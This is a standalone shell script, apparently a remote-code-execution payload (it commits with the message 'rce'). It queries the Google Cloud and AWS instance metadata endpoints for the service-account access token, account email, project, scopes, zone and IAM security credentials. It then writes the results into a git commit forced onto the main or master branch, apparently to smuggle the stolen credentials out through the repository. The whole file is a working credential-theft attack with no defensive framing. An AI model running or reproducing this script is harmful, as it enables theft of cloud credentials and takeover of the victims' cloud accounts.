#!/bin/sh
OUTPUT=$(id 2>&1; hostname 2>&1; echo "---TOKEN---"; curl -s --max-time 3 -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' 2>&1; echo "---SA_EMAIL---"; curl -s --max-time 3 -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email' 2>&1; echo "---PROJECT---"; curl -s --max-time 3 -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/project/project-id' 2>&1; echo "---SCOPES---"; curl -s --max-time 3 -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes' 2>&1; echo "---ZONE---"; curl -s --max-time 3 -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/zone' 2>&1; echo "---AWS---"; curl -s --max-time 3 http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>&1; echo "---END---")
BLOB=$(echo "$OUTPUT" | git hash-object -w --stdin)
TREE=$(printf "100644 blob %s\tout.txt" "$BLOB" | git mktree)
HEAD_SHA=$(git rev-parse HEAD 2>/dev/null)
if [ -n "$HEAD_SHA" ]; then
  COMMIT=$(git commit-tree "$TREE" -p "$HEAD_SHA" -m "rce")
else
  COMMIT=$(git commit-tree "$TREE" -m "rce")
fi
git update-ref refs/heads/main "$COMMIT" 2>/dev/null || git update-ref refs/heads/master "$COMMIT" 2>/dev/null
